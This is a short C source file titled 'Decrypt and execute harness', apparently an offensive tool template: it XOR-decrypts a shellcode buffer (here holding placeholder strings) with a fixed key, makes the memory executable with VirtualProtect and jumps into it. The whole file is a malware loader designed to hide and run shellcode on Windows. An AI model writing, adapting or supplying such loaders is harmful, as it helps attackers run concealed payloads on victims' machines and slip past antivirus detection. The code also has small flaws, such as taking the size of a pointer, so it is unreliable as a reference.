Decrypt and execute harness

enc_harness.c

#include <windows.h>


unsigned char buf[] = 
"your"
"encrypted"
"shellcode"
"here";

char* decryptPayload(){
    char key[] = { 0xDE, 0xAD, 0xBE, 0xEF };
    char* decrypted = malloc(sizeof(buf) + 50);
    if (decrypted != NULL){
        for(int i = 0; i < sizeof(buf); i++){
            decrypted[i] = buf[i] ^ key[i % 4];
        };
    }
    return decrypted;
}

void executePayload(char* decrypted){
    DWORD pewpewpew;
    VirtualProtect(decrypted, sizeof(decrypted),PAGE_EXECUTE_READWRITE, &pewpewpew);
    ((void (*)(void))decrypted)();
}

void main(){
    executePayload(decryptPayload());
}